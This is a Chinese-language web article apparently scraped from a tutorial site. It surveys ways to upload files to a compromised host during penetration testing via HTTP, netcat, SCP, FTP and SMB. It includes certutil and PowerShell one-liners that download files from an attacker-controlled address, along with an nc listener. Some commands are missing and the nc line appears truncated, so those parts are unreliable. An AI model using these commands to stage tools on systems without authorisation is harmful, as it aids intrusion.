渗透测试中文件传输的常见方法汇总 您所在的位置:网站首页 linux常见发行版 渗透测试中文件传输的常见方法汇总

渗透测试中文件传输的常见方法汇总

2023-03-25 04:27| 来源: 网络整理| 查看: 265

1. 简介

在渗透测试过程中,大多场景是首先要获得目标主机的Shell(如果目标为Linux)或者其他命令执行环境(如果目标为Windows)后,这里的Shell简单来说就是可以接受你发出的指令,然后将运行结果展示给你的运行环境。

拿到Shell或者类似命令运行环境以后,往往下一步就是将一些文件上传到目标主机,或者将目标主机上的一些文件下载到本地,这些文件将用于执行不同任务,比如可执行本地漏洞扫描或者本地提权等等,从攻击机如Kali Linux的视角来看有文件上传和文件下载两个方向的动作,如下图所示:

为简单起见,本文试图对将文件从本地上传到目标机器的较为常见方法的总结,至于下载方向是类似的,不再赘述。可能其他文章里列举了更多的方法,但是可能很多方法基本上不会被用到,本文仅说明最为常用最为有效的一些方法。

无论目标主机是Windows还是各种Linux发行版或者其他系统,根据是否已经获得目标主机的Meterpreter会话(备注:Meterpreter 是Metasploit框架中的一个扩展模块,即将Meterpreter作为攻击载荷使用,攻击成功以后给我们返回一个控制通道),可以分为两大类情况:

第一种情况:已经成功获得了Meterpreter会话,在Metasploit中有upload命令可直接将Kali Linux本地的文件上传至目标主机

第二种情况:此时并没有获得与目标主机之间的Meterpreter会话,而是获得了命令运行环境,比如Linux的Shell, Windows的CMD或者进入PowerShell,那么此时需要采用其他的方法将本地文件上传至目标主机。

上传文件的方法可以基于不同的协议有不同的方法,因此接下来的部分介绍分别针对不同协议所采用不同的方法实现上传文件的目的。

2. 基于HTTP协议上传文件

可以说,最简单、最方便的文件传输方法是使用 HTTP。 这种方法首先在攻击者计算机(Kali Linux)上的特定目录中设置一个 HTTP 服务器,该目录即成为服务器的根目录,只需一个命令即可启动HTTP。这也是在渗透测试中最为常见的方法,即上传文件基于的协议为HTTP,此时首先需要在Kali Linux侧启动Web服务。较为方便的方法是利用Python的HTTP 模块

Python3(现在基本上都是用python3):

$python3 -m http.server (可以指定端口)

Python2:

$python2 -m SimpleHTTPServer

上述命令在Kali Linux侧启动了Web服务,并且已经准备好了要上传的文件。

根据目标主机系统的不同,那么在目标主机的命令执行环境中要执行的命令有所不同:

具体选择什么样的方法和工具,主要取决于目标主机的环境,也就是说该环境下允许执行哪些命令。

2.1 Linux2.1.1 利用Wget命令

大部分情况下,Linux内置了wget工具,此时可用wget工具从Kali Linux下载文件。

2.1.2 利用Curl命令

Curl 类似于 wget,因为它提供了一种从 HTTP 服务器下载文件的简单方法

2.2. Windows

如果目标主机为Windows系统,而Windows往往没有Wget或者curl命令,因此需要采用以下的方法从Kali Linux上下载文件。

2.2.1 利用Certutil命令

certutil -urlcache -split -f "http://ip-addr:port/file" [output-file]

2.2.2 利用Powershell

powershell -c (New-Object Net.WebClient).DownloadFile('http://ip-addr:port/file', 'output-file')

3. 基于NC上传文件

如果目标主机有nc命令,则可利用nc实现, nc(或者Netcat),作为“网络黑客工具的瑞士军刀”,也可以提供一种简单的文件传输方法,nc本身是打通了两台机器的传输通道,然后结合文件重定向实现文件的传输。

在Kali linux上运行:

$nc -lp 9992 file

4. 基于SSH协议传输文件

如果目标主机的SSH服务是开放的,并且已经拿到了用户名密码或者私钥文件,那么此时可以用scp进行文件传输

$scp filename 用户名@目标主机:/tmp/

5. 基于FTP协议传输文件

如果目标主机的FTP服务是开放的,并且用户允许上传文件,则在FTP目标主机成功后,用put命令即可上传文件。

6. 基于SMB协议传输文件

如果目标主机基于SMB协议开放共享,并且允许写入文件(即上传文件),只可利用Smbclient连接目标后用put命令即可上传文件。



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有